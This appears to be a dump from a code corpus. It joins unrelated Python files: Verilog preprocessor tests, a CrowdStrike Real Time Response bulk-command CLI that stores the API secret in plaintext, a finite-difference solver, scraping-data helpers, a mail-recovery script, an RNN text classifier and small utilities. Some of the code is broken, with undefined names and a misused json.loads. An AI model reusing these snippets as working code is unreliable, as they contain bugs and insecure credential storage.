test_undefineall(self): result = self.preprocess('''\ `define foo keep `define bar keep2 `foo `undefineall''') result.assert_has_tokens("keep\n") result.assert_no_defines() def test_resetall(self): result = self.preprocess('''\ `define foo keep `define bar keep2 `foo `resetall''') result.assert_has_tokens("keep\n") result.assert_no_defines() def test_undef(self): result = self.preprocess('''\ `define foo keep `define bar keep2 `foo `undef foo''') result.assert_has_tokens("keep\n") result.assert_has_defines({"bar": Macro("bar", tokenize("keep2"))}) def test_undef_eof(self): result = self.preprocess('`undef') result.assert_has_tokens("") result.assert_no_defines() result.logger.warning.assert_called_once_with( "EOF reached when parsing `undef\n%s", "at fn.v line 1:\n" '`undef\n' '~~~~~~') def test_undef_bad_argument(self): result = self.preprocess('`undef "foo"') result.assert_has_tokens("") result.assert_no_defines() result.logger.warning.assert_called_once_with( "Bad argument to `undef\n%s", "at fn.v line 1:\n" '`undef "foo"\n' ' ~~~~~') def test_undef_not_defined(self): result = self.preprocess('`undef foo') result.assert_has_tokens("") result.assert_no_defines() result.logger.warning.assert_called_once_with( "`undef argument was not previously defined\n%s", "at fn.v line 1:\n" '`undef foo\n' ' ~~~') def test_ignores_celldefine(self): result = self.preprocess('`celldefine`endcelldefine keep') result.assert_has_tokens(" keep") result.assert_no_log() def test_ignores_timescale(self): result = self.preprocess('`timescale 1 ns / 1 ps\nkeep') result.assert_has_tokens("\nkeep") result.assert_no_log() def test_ignores_default_nettype(self): result = self.preprocess('`default_nettype none\nkeep') result.assert_has_tokens("\nkeep") result.assert_no_log() def test_ignores_nounconnected_drive(self): result = self.preprocess('`nounconnected_drive keep') result.assert_has_tokens(" keep") result.assert_no_log() def test_ignores_unconnected_drive(self): result = self.preprocess('`unconnected_drive pull1\nkeep') result.assert_has_tokens("\nkeep") result.assert_no_log() def preprocess(self, code, file_name="fn.v", include_paths=None): """ Tokenize & Preprocess """ tokenizer = VerilogTokenizer() preprocessor = VerilogPreprocessor(tokenizer) write_file(file_name, code) tokens = tokenizer.tokenize(code, file_name=file_name) defines = {} included_files = [] with mock.patch("vunit.parsing.verilog.preprocess.LOGGER", autospec=True) as logger: tokens = preprocessor.preprocess(tokens, defines, include_paths, included_files) return PreprocessResult(self, tokens, defines, [file_name for _, file_name in included_files if file_name is not None], logger) def write_file(self, file_name, contents): """ Write file with contents into output path """ full_name = join(self.output_path, file_name) full_path = dirname(full_name) if not exists(full_path): os.makedirs(full_path) with open(full_name, "w") as fptr: fptr.write(contents) class PreprocessResult(object): """ Helper object to test preprocessing """ def __init__(self, # pylint: disable=too-many-arguments test, tokens, defines, included_files, logger): self.test = test self.tokens = tokens self.defines = defines self.included_files = included_files self.logger = logger def assert_has_tokens(self, code, noloc=True): """ Check that tokens are the same as code """ expected = tokenize(code) if noloc: self.test.assertEqual(strip_loc(self.tokens), strip_loc(expected)) else: self.test.assertEqual(self.tokens, expected) return self def assert_no_defines(self): """ Assert that there were no defines """ self.test.assertEqual(self.defines, {}) def assert_included_files(self, included_files): """ Assert that these files where included """ self.test.assertEqual(self.included_files, included_files) def assert_has_defines(self, defines): """ Assert that these defines were made """ self.test.assertEqual(self.defines.keys(), defines.keys()) def macro_strip_loc(define): """ Strip location information from a Macro """ define.tokens = strip_loc(define.tokens) for key, value in define.defaults.items(): define.defaults[key] = strip_loc(value) for key in self.defines: self.test.assertEqual(macro_strip_loc(self.defines[key]), macro_strip_loc(defines[key])) def assert_no_log(self): """ Assert that no log call were made """ self.test.assertEqual(self.logger.debug.mock_calls, []) self.test.assertEqual(self.logger.info.mock_calls, []) self.test.assertEqual(self.logger.warning.mock_calls, []) self.test.assertEqual(self.logger.error.mock_calls, []) def tokenize(code, file_name="fn.v"): """ Tokenize """ tokenizer = VerilogTokenizer() return tokenizer.tokenize(code, file_name=file_name) def strip_loc(tokens): """ Strip location information """ return [Token(token.kind, token.value, None) for token in tokens]
StarcoderdataPython
3262518
#!/usr/bin/python # -*- coding: utf-8 -*- import argparse import base64 import os import sys import cs_methods import helpers from datetime import datetime # GLOBALS/PARAMS HOME_DIR = os.path.expanduser('~') DIR_PATH = os.path.join(HOME_DIR, '.bulkstrike') CRED_PATH = os.path.join(DIR_PATH, "credentials") TOKEN_PATH = os.path.join(DIR_PATH, "token") def init(read_creds: bool = True, read_token: bool = True): if read_creds: if os.path.isfile(CRED_PATH): # previously saved credentials exist with open(CRED_PATH) as infile: lines = infile.readlines() try: cs_methods.CLIENT_ID = lines[0].split(":")[1].strip() cs_methods.SECRET = lines[1].split(":")[1].strip() if len(lines) > 2: cs_methods.SERVER = lines[2].split(": ")[1].strip() except IndexError: print("Error! Credential file format is invalid. Please run bulkstrike configure again.") os.remove(CRED_PATH) sys.exit(1) else: print("Error! No CrowdStrike ID or Secret available.") sys.exit(1) if read_token: if os.path.isfile(TOKEN_PATH): with open(TOKEN_PATH) as infile: auth_token = infile.readline() cs_methods.TOKEN = auth_token cs_methods.HEADERS['Authorization'] = 'Bearer {}'.format(cs_methods.TOKEN) else: print("Error! No CrowdStrike authentication token available.") sys.exit(1) else: cs_methods.BYTE_CREDS = '{name}:{password}'.format(name=cs_methods.CLIENT_ID, password=cs_methods.SECRET).encode('utf-8') cs_methods.HEADERS['Authorization'] = 'Bearer {}'.format(base64.b64encode(cs_methods.BYTE_CREDS).decode()) def configure(): if not os.path.isdir(DIR_PATH): os.mkdir(DIR_PATH) elif os.path.isfile(CRED_PATH): # previously saved credentials exist init(read_creds=True, read_token=False) masked_client_id = cs_methods.CLIENT_ID[-4:].rjust(len(cs_methods.CLIENT_ID), "*") masked_secret = cs_methods.SECRET[-4:].rjust(len(cs_methods.SECRET), "*") temp_client_id = input("CrowdStrike Client ID [{}]: ".format(masked_client_id)) temp_secret = input("CrowdStrike Secret [{}]: ".format(masked_secret)) temp_server = input("CrowdStrike API Server [{}]: ".format(cs_methods.SERVER)).rstrip('/') if temp_client_id != '': cs_methods.CLIENT_ID = temp_client_id if temp_secret != '': cs_methods.SECRET = temp_secret if temp_server != '': cs_methods.SERVER = temp_server with open(CRED_PATH, 'w') as outfile: outfile.writelines(["Client ID: {}".format(cs_methods.CLIENT_ID), "\nSecret: {}".format(cs_methods.SECRET), "\nAPI Server: {}".format(cs_methods.SERVER)]) init(read_creds=False, read_token=False) def req_token(): init(read_creds=True, read_token=False) access_token = cs_methods.get_token(new_token=True) if access_token is not None: print("Authentication token successfully requested: {}".format(access_token)) def get_info(host: str, file: str, log: bool): if host is not None: req_hosts = host.split(',') response = cs_methods.get_host_info(req_hosts) elif file is not None: req_hosts = helpers.file_to_list(file) response = cs_methods.get_host_info(req_hosts) else: print("Error! No host id or hostname provided.") sys.exit(1) hosts_info = response.get('resources', {}) search_str = "',hostname:'".join(req_hosts) response = cs_methods.find_hosts("hostname:'" + search_str + "'") if len(response) > 0: new_host_ids = list(set(response) - set(req_hosts)) response = cs_methods.get_host_info(new_host_ids) for host_info in response.get('resources', {}): hosts_info.append(host_info) helpers.print_host_info(hosts_info) if log: timestamp = datetime.now().strftime("%Y-%m-%d@%H%M%S") filename = "hosts_info_" + timestamp + ".tsv" with open(filename, 'w') as outfile: outfile.write("Hostname\tHost ID\tLast Seen\tOS Version\tManufacturer\tProduct\tAgent Version\n") helpers.log_host_info(hosts_info, outfile) def get_logins(host: str, file: str, log: bool, clean: bool): if host is not None: req_hosts = host.split(',') elif file is not None: req_hosts = helpers.file_to_list(file) else: print("Error! No host id or hostname provided.") sys.exit(1) # get hostnames hosts_info = dict() resources = cs_methods.get_host_info(req_hosts).get('resources', {}) for resource in resources: hosts_info[resource['device_id']] = resource['hostname'] hosts_logins = list() if len(hosts_info) > 0: req_hosts = list(hosts_info.keys()) resources = cs_methods.get_host_logins(req_hosts) for resource in resources: recent_logins = resource['recent_logins'] agg_logins = dict() for recent_login in recent_logins: username = recent_login['user_name'] if clean and (username.startswith('root@') or username.startswith('_') or username.startswith('daemon') or username.startswith('postgres') or username.startswith('nobody') or 'DWM-' in username or 'UMFD-' in username or username.endswith('$') or 'LOCAL SERVICE' in username or 'NETWORK SERVICE' in username): continue if username in agg_logins: agg_logins[username]['count'] += 1 if recent_login['login_time'] > agg_logins[username]['last_seen']: agg_logins[username]['last_seen'] = recent_login['login_time'] elif recent_login['login_time'] < agg_logins[username]['last_seen']: agg_logins[username]['first_seen'] = recent_login['login_time'] else: agg_logins[username] = dict() agg_logins[username]['first_seen'] = recent_login['login_time'] agg_logins[username]['last_seen'] = recent_login['login_time'] agg_logins[username]['count'] = 1 hosts_logins.append({"host_id": resource['device_id'], "hostname": hosts_info[resource['device_id']], "logins": agg_logins}) helpers.print_host_logins(hosts_logins) if log: timestamp = datetime.now().strftime("%Y-%m-%d@%H%M%S") filename = "hosts_logins_" + timestamp + ".tsv" with open(filename, 'w') as outfile: outfile.write("Host ID\tHostname\tUsername\tLast Seen\tFirst Seen\tCount\n") for host_login in hosts_logins: for key, value in host_login['logins'].items(): outfile.write(host_login['host_id'] + '\t' + host_login['hostname'] + '\t' + key + '\t' + value['last_seen'] + '\t' + value['first_seen'] + '\t' + str(value['count']) + '\n') def list_files(action: str): if action == 'list_files': files = cs_methods.list_files()['resources'] else: files = cs_methods.list_scripts()['resources'] if len(files) > 0: print("{:<65} {:<32} {:<16} {:<10} {:<48} {:<16}".format('ID', 'Name', 'FileType', 'Size', 'Creator', 'LastModified')) for file in files: size = helpers.to_readable(file['size']) print("{:<65} {:<32} {:<16} {:<10} {:<48} {:<16}".format(file['id'], file['name'], file['file_type'], size, file['created_by'], file['modified_timestamp'])) else: print("No RTR response files/scripts on CrowdStrike Cloud!") def get_file(action: str, file_id: str): if file_id is not None: if action == 'get_file': info = cs_methods.get_file(file_id)['resources'] else: info = cs_methods.get_script(file_id)['resources'] if len(info) == 1: for key, value in info[0].items(): print(key + ": " + str(value)) else: print("Error! File/Script ID is invalid.") else: print("Error! No file/script ID is provided.") def delete_file(action: str, file_id: str): if file_id is not None: if action == "delete_file": response = cs_methods.delete_file(file_id) else: response = cs_methods.delete_script(file_id) if 'errors' not in response: print("Deletion successful.") else: print("Error! No file/script id is provided.") def upload_file(path: str, description: str): if path is None: print("Error! No file path provided.") elif description is None: print("Error! No description provided.") elif os.path.isfile(path): response = cs_methods.upload_file(path, description) if 'errors' not in response: print("{} was uploaded.".format(response[1])) else: print("Error! File path is invalid.") def upload_script(path: str, permission: str, description: str): if path is None: print("Error! No script path provided.") elif permission is None: print("Error! No script permission provided.") elif not permission.lower() in ('private', 'group', 'public'): print("Error! Invalid script permissions provided. Please choose between private, group or public") elif os.path.isfile(path): if description is None: description = '' response = cs_methods.upload_script(path, permission, description) if 'errors' not in response: print("Script was successfully uploaded.") else: print("Error! File path is invalid.") def start_rtr(host: str, file: str, log: bool, queue: bool): host_ids = [] if host is not None: host_ids = host.split(',') elif file is not None: host_ids = helpers.file_to_list(file) response = cs_methods.init_rtr_session(host_ids, queue) helpers.print_rtr_comms_status(response['resources']) if log: timestamp = datetime.now().strftime("%Y-%m-%d@%H%M%S") filename = "rtr_hosts_" + timestamp + ".tsv" with open(filename, 'w') as outfile: outfile.write("Host ID\tSession ID\tConnected\tOffline Queued\n") helpers.log_rtr_comms_status(response['resources'], outfile) if len(response['errors']) == 0: print("RTR session started...") print("type 'bulk <file path>' to execute multiple commands") choice = 1 if log: timestamp = datetime.now().strftime("%Y-%m-%d@%H%M%S") filename = "rtr_response_" + timestamp + ".tsv" with open(filename, 'w') as outfile: outfile.write("Host ID\tSession ID\tComplete\tOffline Queued\tQuery Duration\tStdout\tStderr\tErrors\n") while choice != 2: full_cmd = input("(type exit to end) > ") choice = helpers.execute_command(full_cmd, outfile) else: while choice != 2: full_cmd = input("(type exit to end) > ") choice = helpers.execute_command(full_cmd, None) else: print("RTR session was not started.") sys.exit(1) def get_qsessions(to_print: bool) -> list: response = cs_methods.get_qsessions() if len(response['errors']) == 0: resources = response.get('resources', {}) if to_print: for session_id in resources: print(session_id) return resources sys.exit(1) def get_qsessions_metadata(log: bool): session_ids = get_qsessions(False) if session_ids is None: print("Error! No session metadata to return.") sys.exit(1) sessions = cs_methods.get_qsessions_metadata(session_ids).get('resources', {}) helpers.print_qsessions_metadata(sessions) if log: timestamp = datetime.now().strftime("%Y-%m-%d@%H%M%S") filename = "qsessions_metadata_" + timestamp + ".tsv" with open(filename, 'w') as outfile: outfile.write("Session ID\tCreated At\tUpdated At\tDeleted At\tHost ID\tStatus\tCloud Request ID\t" "Cmd String\tCmd Created At\tCmd Updated At\tCmd Deleted At\tCmd Status\n") helpers.log_qsessions_metadata(sessions, outfile) def del_qsession(qsessionid: str): response = cs_methods.delete_qsession(qsessionid) if response is None: print("Session ({}) was successfully deleted.".format(qsessionid)) def del_qsession_cmd(qsessionid: str, cloudreqid: str): response = cs_methods.delete_qsession_command(qsessionid, cloudreqid) if 'errors' not in response: print("Command ({0}) of session ({1}) was successfully deleted.".format(cloudreqid, qsessionid)) def main(): argument_parser = argparse.ArgumentParser(description=( 'BulkStrike enables the usage of CrowdStrike Real Time Response (RTR) to bulk execute commands on ' 'multiple machines.\n' ), formatter_class=argparse.RawTextHelpFormatter) argument_parser.add_argument('action', metavar='action', default=None, help=( ' Req Arguments Description\n' 'configure NIL provide CrowdStrike Client ID and/or Secret.\n' 'req_token NIL request for CrowdStrike authentication token.\n' 'get_info -s or -f [--log] get system info of provided host ids or hostnames.\n' 'get_logins -s or -f [--log] [--clean] get recent logins of provided host ids.\n' 'list_files NIL list basic info of all RTR response files on CrowdStrike Cloud.\n' 'get_file -i get detailed info of a RTR response file on CrowdStrike Cloud.\n' 'upload_file -f and -d upload a RTR response file to CrowdStrike Cloud.\n' 'delete_file -i delete a RTR response file from CrowdStrike Cloud.\n' 'list_scripts NIL list basic info of all RTR response files on CrowdStrike Cloud.\n' 'get_script -i get detailed info of a RTR response file on CrowdStrike Cloud.\n' 'upload_script -f and -p [-d] upload a RTR response file to CrowdStrike Cloud.\n' 'delete_script -i delete a RTR response file from CrowdStrike Cloud.\n' 'start_rtr -s or -f [--log] [--queue] initialise rtr session on specified hosts.\n' 'get_qsessions NIL get session ids of RTR sessions that had commands queued.\n' 'get_qsess_data NIL [--log] get metadata of RTR sessions that had commands queued.\n' 'del_qsession -q delete a currently queued RTR session.\n' 'del_qsess_cmd -q and -c delete a currently queued RTR session command.\n')) argument_parser.add_argument('-c', '--cloudreqid', default=None, help=( 'cloud request id of currently queued RTR session command')) argument_parser.add_argument('-d', '--description', default=None, help=( 'description of RTR response file or script')) argument_parser.add_argument('-f', '--file', default=None, help=( 'path of file containing host ids or hostnames')) argument_parser.add_argument('-i', '--id', default=None, help=( 'id of RTR response file or script')) argument_parser.add_argument('-p', '--permission', default=None, help=( 'permission of RTR response script (private, group, public)')) argument_parser.add_argument('-q', '--qsessionid', default=None, help=( 'session id of currently queued RTR session')) argument_parser.add_argument('-s', '--host', default=None, help=( 'host id or hostname')) argument_parser.add_argument('--log', action='store_true', help="write raw server response to tsv file in current " "working directory") argument_parser.add_argument('--queue', action='store_true', help="queue commands to offline hosts") argument_parser.add_argument('--clean', action='store_true', help="exclude less important details from output") options = argument_parser.parse_args() if options.file is not None: options.file = os.path.abspath(options.file) options.action = options.action.lower() if options.action == 'configure': configure() return() elif options.action == 'req_token': req_token() return() init(read_creds=True, read_token=True) if options.action == 'get_info': get_info(options.host, options.file, options.log) elif options.action == 'get_logins': get_logins(options.host, options.file, options.log, options.clean) elif options.action == 'start_rtr': start_rtr(options.host, options.file, options.log, options.queue) elif options.action in ('list_files', 'list_scripts'): list_files(options.action) elif options.action in ('get_file', 'get_script'): get_file(options.action, options.id) elif options.action in ('delete_file', 'delete_script'): delete_file(options.action, options.id) elif options.action == 'upload_file': upload_file(options.file, options.description) elif options.action == 'upload_script': upload_script(options.file, options.permission, options.description) elif options.action == 'get_qsessions': get_qsessions(True) elif options.action == 'get_qsess_data': get_qsessions_metadata(options.log) elif options.action == 'del_qsession': del_qsession(options.qsessionid) elif options.action == 'del_qsess_cmd': del_qsession_cmd(options.qsessionid, options.cloudreqid) if __name__ == '__main__': if not main(): sys.exit(1) else: sys.exit(0)
StarcoderdataPython
8083366
#!/usr/bin/env python # say hello world and asks for name. print('Hello world!') print('What\'s your name') name = input() print('Nice to meet you, ' + name) print('The length of your name is: ' + str(len(name))) print('What\'s your age?') age = input() print('You will be ' + str(int(age) + 1) + ' in a year.')
StarcoderdataPython
3454460
<filename>stablab/finite_difference_code/approximate.py # -*- coding: utf-8 -*- """ Created on Tue May 30 14:01:31 2017 @author: <NAME> """ import numpy as np from matplotlib import pyplot as plt np.set_printoptions(threshold=np.nan) """******************************************** Initializing functions ********************************************""" def initMatrixWithFunction(T, L, T_POINTS, X_POINTS, f): #Make some helper variables X_STEPS = X_POINTS - 1 DELTA_X = 2.0*L/X_STEPS #Create matrix and value of x at t=0. a= np.zeros((T_POINTS, X_POINTS)) for x in range(0,X_POINTS): a[0,x] = f(-L + x*DELTA_X) #Create the value of t at x= {0,X_POINTS-1} a[0:T_POINTS,X_POINTS-1] = a[0,X_POINTS-1] a[0:T_POINTS,0] = a[0,0] return a """******************************************************** Loop through time, get and set the next time step. ********************************************************""" def getTimeVectors(inputMatrices, time): #Give a time and it will concatenate the vectors in each matrix. xLength = len(inputMatrices[0][0]) output = [] for i in range(len(inputMatrices)): output = np.append(output, inputMatrices[i][time,0:xLength]) #output = np.append(output, inputMatrices[i][time,1:xLength-1]) return output def setTimeVectors(solution, matrices, time): #Pass it a large vector, and it will splice it into the matrices xLength = len(matrices[0][0]) for i in range(len(matrices)): solutionVector = solution[i*int(len(solution)/len(matrices)):(i+1)*int(len(solution)/len(matrices))] matrices[i][time,0:xLength] = solutionVector #matrices[i][time,1:xLength-1] = solutionVector def solveSystem(matrices, xPoints, tPoints, P, MAX_ERROR, f, createJacobian): T = tPoints[-1]- tPoints[0] L = abs(xPoints[-1]- xPoints[0]) #make some variables T_POINTS = len(matrices[0]) X_POINTS = len(matrices[0][0]) K = 1.0*T/(T_POINTS-1) H = 2.0*L/(X_POINTS-1) printPercent = True solution = getTimeVectors(matrices,0) #Loop through time, solving and assigning next timestep. for time in range(len(matrices[0])-1): if printPercent == True: print(int(100*time/(len(matrices[0])-1)), "% .. ", end='') setTimeVectors(solution, matrices, time+1) solution = newtonSolve(matrices, time, K, H, P, MAX_ERROR, f, createJacobian) setTimeVectors(solution, matrices, time+1) #Print when finished. if printPercent == True: print("100 % .. Finished") """******************************************** Equations and functions for using newton's method ********************************************""" def graph(unknowns, matrixList): for i in range(len(unknowns)): approximate.plotMatrix(matrixList[i], unknowns[i]) def newtonSolve(matrices, time, K, H, P, MAX_ERROR, f, jacobian): #Initialize some variables. printIterations = True inVector = getTimeVectors(matrices, time+1) outVector = f(matrices, P, K, H, time) TIMEOUT = 40 count = 0 #print("First iteration") #Loop until the largest component is less than MAX_ERROR. if printIterations == True: print("(", end='') while max(map(abs,outVector))-MAX_ERROR > 0: count += 1 #Create a Jacobian matrix A with inVector as the guess for n+1 A = jacobian(matrices, time+1, K, H, P) b = outVector - np.dot(A,inVector) inVector = np.linalg.solve(A,-b) setTimeVectors(inVector, matrices, time+1) outVector = f(matrices, P, K, H, time) #Print info and Break if a solution isn't found. if printIterations == True: print(count, end='') if count == TIMEOUT: print("+ ...)") return inVector #print("end of while loop") if printIterations == True: print(")") return inVector """********************************************** Equations for drawing and plotting information **********************************************""" def printRounded(listOne): #Determine the Decimal places that will be rounded to. DECIMAL_PLACES = 16 roundedList = list(listOne) for item in range(len(roundedList)): roundedList[item] = round(roundedList[item], DECIMAL_PLACES) print (roundedList) def plotMatrix(a,text=""): from mpl_toolkits.mplot3d import Axes3D from matplotlib import cm #Create the x, y, and z grid from the array a. y = range(0,len(a[0])) x = range(0,len(a)) X, Y = np.meshgrid(x, y) Z = a[X,Y] #print(Z) #Graph x,y,z in 3d. fig = plt.figure() ax = fig.gca(projection='3d') ax.plot_surface(X,Y,Z, linewidth=0, antialiased=False) plt.title(text) plt.show() """************************************************ Equations for writing to and loading from text files ************************************************""" def loadInitialValues(fileName, T_POINTS, X_POINTS): #Create matrix and value of x at t=0. a= np.zeros((T_POINTS, X_POINTS)) #Get from the file the condition where t = 0. myFile = open(fileName,'r') a = np.zeros((T_POINTS, X_POINTS)) myList = str(myFile.read()).split(' ') newList = [float(i) for i in myList[0:len(myList)-1]] myFile.close() a[0] = newList #Create the value of t at x= {0,X_POINTS-1} a[0:T_POINTS,X_POINTS-1] = a[0,X_POINTS-1] a[0:T_POINTS,0] = a[0,0] return a if __name__ == "__main__": jacobian = lambda x,y,z,h,w: np.zeros((2,5,5)) leftBound = [[1,1,1,1],[1,1,2,2]] rightBound = [[1,1,1,1],[3,3,4,4]] matrices = np.zeros((2,5,5)) time = 0 K = 1 H = 1 P = 1 print(jacobianWithBoundary(jacobian, leftBound, rightBound, matrices, time, K, H, P))
StarcoderdataPython
12821684
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Apr 2 11:39:57 2018 @author: <NAME> @Contains : Pre-processing functions """ import pandas as pd import numpy as np import json def mapprice(v): if pd.isnull(v): return [ np.nan] try: vv = v.split('-') p0 = vv[0].strip()[1:].replace(",","") return [float(p0)] except ValueError: return [np.nan] def mapnumber_available_in_stock(v): if pd.isnull(v): return np.NaN ,np.NaN try: vv = v.split('\xa0') return int(vv[0]),str(vv[1]) except ValueError: return np.NaN ,np.NaN def mapnumber_of_reviews(v): if pd.isnull(v): return np.nan try: vv = v.replace(",","") return int(vv) except ValueError: return np.nan def mapaverage_review_rating(v): if pd.isnull(v): return np.nan try: vv = float(v.split('out')[0].strip()) return vv except ValueError: return np.nan # read json data of seller def myseller(v): if pd.isnull(v): return 0 try: vv = v.replace('=>',':') djson = pd.read_json(vv,orient='records') dict_data = json.loads(djson) return dict_data except ValueError: return 0 #split category def mapcategories(srs): if pd.isnull(srs): return [] else: return [cat.strip() for cat in srs.split(">")] #spliting items viewed before buying this item def mapurlsplitter(v): if pd.isnull(v): return [] else: return [c.strip() for c in v.split("|")] def takeOutList(v): finalSet = [] for lst in v: if not lst: continue else: for item in lst: if item not in finalSet: finalSet.append(item) return finalSet def addSum(v): added_sum = 0 for lst in v: added_sum += lst return added_sum
StarcoderdataPython
1990769
<reponame>piwai/mail-recovery #!/bin/env python3 import os import sys HEADER_THRESHOLD = 5000 # 2 matches within 5k of data are likely the same mail CHUNK_MAX_SIZE = 50 * 1000 * 1000 # Conservative limit of 50 MB per chunk CHUNK_DIR = "chunks" if len(sys.argv) < 3: print("Usage: extract-chunks.py <audit_file.txt> <raw_image.bin>") sys.exit(1) audit_file = sys.argv[1] raw_image = sys.argv[2] if not os.path.exists(CHUNK_DIR): os.mkdir(CHUNK_DIR) with open(audit_file) as fa: with open(raw_image, errors='ignore') as fr: # Skip foremost headers line = fa.readline() while not line.startswith("Num"): line = fa.readline() continue # Skip the empty line before offset list line = fa.readline() # Start processing line = fa.readline() index_start = 0 chunk_start = int(line.split()[-1]) while len(line): index, _, _, _, offset = line.split() index, offset = int(index.rstrip(':')), int(offset) if (offset - chunk_start) < HEADER_THRESHOLD: # Probably the same set of mail headers, keep going print("Merge #{index} (size {size})".format(index=index, size=offset-chunk_start)) else: # Ok, we got a chunk of reasonable size, extract it in a file # Limit chunk size to avoid avoid dumping GBs of useless data # if the next offset is very far away in the file chunk_end = offset - 1 chunk_size = min(chunk_end - chunk_start, CHUNK_MAX_SIZE) print("Chunk from index #{i}->#{j} ({start} -> {end}), size={s}".format(i=index_start, j=index, start=chunk_start, end=chunk_end, s=(chunk_end - chunk_start))) fr.seek(chunk_start) chunk = fr.read(chunk_size) chunk_name = "{folder}/{start}-{end}.txt".format(folder=CHUNK_DIR, start=chunk_start, end=chunk_end) with open(chunk_name, 'a') as fc: fc.write(chunk) fc.close() # Reset values for the next chunk chunk_start = offset index_start = index line = fa.readline() if line.startswith('Finish'): # We've reached the end of the audit file break
StarcoderdataPython
8067446
<gh_stars>10-100 from typing import Tuple, Optional import warnings import numpy as np import torch import torch.nn as nn import torch.nn.functional as F import pytorch_lightning as pl import torchmetrics from ._total_ce_loss import TotalCrossEntropyLoss from ..dataset import SequenceBatch from ._base_single_sequence_to_class import BaseSingleSequenceToClass class _Encoder(nn.Module): def __init__(self, embedding, output_size): super().__init__() vocab_size, embedding_size = embedding.shape[0], embedding.shape[1] self.vocab_size = vocab_size self.embedding = nn.Embedding(vocab_size, embedding_size, padding_idx=0, _weight=torch.Tensor(embedding)) self.rnn = nn.LSTM(embedding_size, output_size // 2, batch_first=True, bidirectional=True) def forward(self, x, length, embedding_scale: Optional[torch.Tensor]=None): h1 = self.embedding(x) h1.requires_grad_() h1_scaled = h1 if embedding_scale is None else h1 * embedding_scale h1_packed = nn.utils.rnn.pack_padded_sequence(h1_scaled, length.cpu(), batch_first=True, enforce_sorted=False) h2_packed, _ = self.rnn(h1_packed) h2_unpacked, _ = nn.utils.rnn.pad_packed_sequence(h2_packed, batch_first=True, padding_value=0.0) return h1, h2_unpacked class _Attention(nn.Module): def __init__(self, input_size=128, attention_hidden_size=128): super().__init__() self.W1 = nn.Linear(input_size, attention_hidden_size) self.W2 = nn.Linear(attention_hidden_size, 1, bias=False) self.softmax = nn.Softmax(dim=-1) def score(self, values): # x.shape == (batch_size, max_length, input_size) # h_t.shape == (batch_size, max_length, attention_hidden_size) h_t = torch.tanh(self.W1(values)) # score_t.shape = (batch_size, max_length, 1) score_t = self.W2(h_t) return score_t.squeeze(2) # (batch_size, max_length) def forward(self, values, mask): # values.shape == (batch_size, max_length, hidden_size) # score_t.shape = (batch_size, max_length) score_t = self.score(values) # Compute masked attention weights, given the score values. # alpha_t.shape = (batch_size, max_length) # Mask = False, indicates that data should be ignored score_t = torch.where(mask, score_t, torch.tensor(-np.inf, dtype=score_t.dtype, device=score_t.device)) alpha_t = self.softmax(score_t) # Compute context vector # context_t.shape = (batch_size, hidden_size) context_t = (alpha_t.unsqueeze(2) * values).sum(1) return context_t, alpha_t class RNNSingleSequenceToClass(BaseSingleSequenceToClass): """Implements the Text-Classification task from 'Attention is not Explanation' The paper's model code is in: https://github.com/successar/AttentionExplanation/blob/master/model/Binary_Classification.py The code is very complex because they integrate all their analysis. However, in general: * Uses a Single layer Bi-LSTM Encoder * Uses a Linear layer as Decoder * Uses Additive-tanh-attention as Attention Hyper parameters: * LSTM-hidden-size is 128 (https://github.com/successar/AttentionExplanation/blob/master/configurations.py#L31) * weight_decay is 1e-5 (https://github.com/successar/AttentionExplanation/blob/master/configurations.py#L20) * Learning algorithm is `torch.optim.Adam(lr=0.001, weight_decay=1e-5, amsgrad=True)` (https://github.com/successar/AttentionExplanation/blob/master/model/Binary_Classification.py#L83) * Weight decay is only applied to encoder and decoder (not attention) Differences from 'Attention Interpretablity Across NLP Tasks': * Uses Glove embeddings """ def __init__(self, cachedir, embedding, hidden_size=128, num_of_classes=2): """Creates a model instance that maps from a single sequence to a class Args: embedding (np.array): The inital word embedding matrix, for example Glove hidden_size (int, optional): The hidden size used in the attention mechanism. Defaults to 128. num_of_classes (int, optional): The number of output classes. Defaults to 2. """ super().__init__(num_of_classes=num_of_classes) self.encoder = _Encoder(embedding, 2 * hidden_size) self.attention = _Attention(2 * hidden_size, hidden_size) self.decoder = nn.Linear(2 * hidden_size, num_of_classes) @property def embedding_matrix(self): return self.encoder.embedding.weight.data def flatten_parameters(self): self.encoder.rnn.flatten_parameters() def forward(self, batch: SequenceBatch, embedding_scale: Optional[torch.Tensor]=None) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor]: # Mask = True, indicates to use. Mask = False, indicates should be ignored. embedding, h1 = self.encoder(batch.sentence, batch.length, embedding_scale) h2, alpha = self.attention(h1, batch.mask) h3 = self.decoder(h2) return h3, alpha, embedding def configure_optimizers(self): return torch.optim.Adam([ {'params': self.encoder.parameters(), 'weight_decay': 1e-5 }, {'params': self.attention.parameters() }, {'params': self.decoder.parameters(), 'weight_decay': 1e-5 }, ], lr=0.001, amsgrad=True)
StarcoderdataPython
11230150
<reponame>jsmnbom/htxaarhuslan # -*- coding: utf-8 -*- # Generated by Django 1.11.2 on 2017-08-17 14:38 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('main', '0042_lan_payment_manager_id'), ] operations = [ migrations.AddField( model_name='tournament', name='show_on_calendar', field=models.BooleanField(default=True, verbose_name='Vis på kalender'), ), migrations.AlterField( model_name='tournament', name='owner', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='main.Profile', verbose_name='Ansvarlig'), ), ]
StarcoderdataPython
4921865
"""Utility module for BenchBuild experiments.""" import os import random import traceback import typing as tp from abc import abstractmethod from pathlib import Path from benchbuild import source from benchbuild.experiment import Experiment from benchbuild.project import Project from benchbuild.utils.actions import Step from benchbuild.utils.cmd import prlimit, mkdir from plumbum.commands import ProcessExecutionError from varats.project.project_util import ProjectBinaryWrapper from varats.report.report import ( BaseReport, FileStatusExtension, ReportSpecification, ReportFilename, ) from varats.revision.revisions import get_tagged_revisions from varats.utils.git_util import ShortCommitHash from varats.utils.settings import vara_cfg, bb_cfg def get_varats_result_folder(project: Project) -> Path: """ Get the project specific path to the varats result folder. Args: project: to lookup the result folder for Returns: path to the project specific result folder """ result_folder_template = "{result_dir}/{project_dir}" vara_result_folder = result_folder_template.format( result_dir=str(bb_cfg()["varats"]["outfile"]), project_dir=str(project.name) ) mkdir("-p", vara_result_folder) return Path(vara_result_folder) class PEErrorHandler(): """Error handler for process execution errors.""" def __init__( self, result_folder: Path, error_file_name: str, timeout_duration: tp.Optional[str] = None, delete_files: tp.Optional[tp.List[Path]] = None ): self.__result_folder = result_folder self.__error_file_name = error_file_name 